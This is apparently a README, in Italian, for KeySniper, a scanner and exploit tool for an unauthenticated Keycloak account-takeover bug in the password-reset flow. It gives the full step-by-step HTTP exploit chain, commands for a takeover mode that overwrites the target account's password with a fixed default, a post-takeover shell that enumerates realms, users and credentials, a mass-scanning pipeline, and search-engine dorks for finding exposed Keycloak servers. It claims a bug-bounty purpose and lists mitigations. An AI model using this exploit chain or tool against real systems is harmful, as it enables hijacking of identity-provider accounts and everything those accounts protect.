
**CVE-2026-18963** — acquisizione non autenticata dell'account Keycloak tramite il flusso di reimpostazione delle credenziali.

Autore: Mitsec — x.com/ynsmroztas
CVE-2026-18963 — compromissione non autenticata dell'account Keycloak tramite il flusso reset-credentials.
KeySniper è uno scanner orientato alla produzione per bug bounty in scope e valutazioni autorizzate: output radar in tempo reale, scoperta dei realm, rilevamento vs compromissione, shell interattiva post-ATO e pipeline stdin (subfinder → httpx → KeySniper).
La modalità predefinita è detect (--takeover 0). --takeover 1 modifica la password dell'account sul target.
| Campo | Valore |
|---|---|
| CVE | CVE-2026-18963 |
| CWE | CWE-640 — Meccanismo di recupero password debole |
| CVSS | 9.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N) |
| Prodotto | Keycloak / Red Hat SSO |
| Corretto in | 26.7.2, 26.6.6, 26.4.15 |
| Autenticazione | Nessuna |
Due bug vengono concatenati:
tryAnotherWay memorizza una nota generica del selettore "true" che non è limitata all'ID di esecuzione.ResetCredentialEmail.action() chiama context.success() senza verificare ACTION_TOKEN_USER_ID.Risultato: un chiamante non autenticato può forzare il flusso di reset della password per un nome utente noto e arrivare su UPDATE_PASSWORD senza cliccare il link nell'email.
La scansione non è "password dimenticata esistente". La conferma è:
execution= cambia (l'esecuzione email viene divulgata)kc-passwd-update-formexec3 = 28e2cd30-… (primo selettore)
exec6 = 8fd21174-… (GET pivot)
UPDATE_PASSWORD
[radar] in tempo reale (Location, JS, header, sonda realm)302 Location + HTML/JS + well-known + wordlist/authhttpx / subfinder--takeover 0 solo rilevamento--takeover 1 imposta password (predefinita SelaM1337@@)--shell shell interattiva token / helper API admin dopo ATOVULN / ATO rosso, SAFE verde, SKIP giallopython3 -m venv .venv
source .venv/bin/activate
pip install requests
chmod +x KeySniper.py
Python 3.9+.
# rilevamento (nessuna modifica password)
python3 KeySniper.py -u https://sso.example.com --takeover 0
# compromissione + shell interattiva
python3 KeySniper.py -u https://sso.example.com --takeover 1 --shell
# realm / utente
python3 KeySniper.py -u https://sso.example.com -r master -U admin --takeover 0
# pipeline
subfinder -d example.com -silent \
| httpx -silent -mc 200,302,401 \
| python3 KeySniper.py --takeover 0 -t 4
# file di elenco
python3 KeySniper.py -l urls.txt --takeover 0 -q
Non passare --takeover 1 o --shell su un dump pipeline.
[1] GET /realms/{realm}/protocol/openid-connect/auth?client_id=account
→ href forgot-password (reset-credentials)
[2] GET reset-credentials
→ kc-reset-password-form
[3] POST tryAnotherWay=on
→ kc-select-credential-form
[4] POST username=<user>
[5] GET startSessionPolling / restart (se presente)
[6] GET URL reset-credentials originale (pivot)
→ ri-renderizzazione selettore + nuova execution=
[7] POST selettore obsoleto (nessun action token)
→ kc-passwd-update-form
[8] POST password-new / password-confirm (solo se --takeover 1)
→ HTTP 302 + code= ⇒ ATO
[VULN] https://sso.example.com realm=master user=admin ver=26.7.1
confirm exec3=...
confirm exec6=...
confirm kc-passwd-update-form
[ATO] https://sso.example.com realm=master user=admin pass=********
[SAFE] https://idp.example.com reset-open patched
[SKIP] https://www.example.com not-keycloak
leak-no-update non viene conteggiato come VULN.
Si apre solo dopo [ATO] su un target singolo:
[email protected] ▶ token
[email protected] ▶ whoami
[email protected] ▶ realms
[email protected] ▶ users
[email protected] ▶ user admin
[email protected] ▶ get master
[email protected] ▶ creds
[email protected] ▶ exit
Utilizza la concessione password resource-owner (admin-cli, poi account).
HTTP 403 su /admin/realms significa che Direct Access Grants / ruolo admin è limitato — l'ATO può comunque essere valido.
/realms/master poi /auth/realms/masterLocation, HTML, JS, "realm":, issuer/realms/{name} restituisce 200 + corpo Keycloak/realms/master
/realms/master/.well-known/openid-configuration
/admin/
Shodan / FOFA (scope del programma):
http.title:"Sign in to"
http.html:"/realms/master"
http.html:"keycloak"
ssl.cert.subject.CN:"example.com" http.html:"/realms/"
title="Keycloak" && host="example.com"
cert="example.com" && body="/realms/master"
/ viene ignorato a meno che il corpo non contenga issuer / public_key / login-actionsSKIP (il realm ha il reset disabilitato)kc-passwd-update-form → SKIPhttpx vengono ridotti all'origine (/auth mantenuto)Keycloak < 26.7.2 (anche 26.6.x < 26.6.6, 26.4.x < 26.4.15).
Mitigazione: disabilita Forgot Password su ogni realm, poi aggiorna.
Lo screenshot in questo repository è oscurato (segnaposto sso.lab.local). Token, password, email e host reali non vengono pubblicati.
Mitsec
X: x.com/ynsmroztas
Uso per ricerca su target autorizzati in scope. Mantieni --takeover 1 disattivato su host fuori scope.
| Flag | Predefinito | Significato |
|---|
-u URL | — | Target singolo |
-l FILE | — | Elenco URL |
| stdin | auto | Righe httpx (primo campo = URL) |
--takeover 0|1 | 0 | Rilevamento vs modifica password |
-U USER | admin | Nome utente target |
-r REALM | auto | Forza realm o scopri |
--pass | SelaM1337@@ | Nuova password se takeover=1 |
-t N | 4 | Thread pipeline |
-q | off | Solo risultati |
--shell | off | Shell post-ATO (target singolo) |
| Stato | Significato |
|---|
VULN | Pivot + UPDATE_PASSWORD (password non modificata) |
ATO | Passaggio 8 riuscito |
SAFE | Reset aperto, nessun selettore obsoleto (corretto) |
SKIP | Non Keycloak / reset disabilitato / leak senza modulo UPDATE |
FAIL | Errore di rete / eccezione imprevista |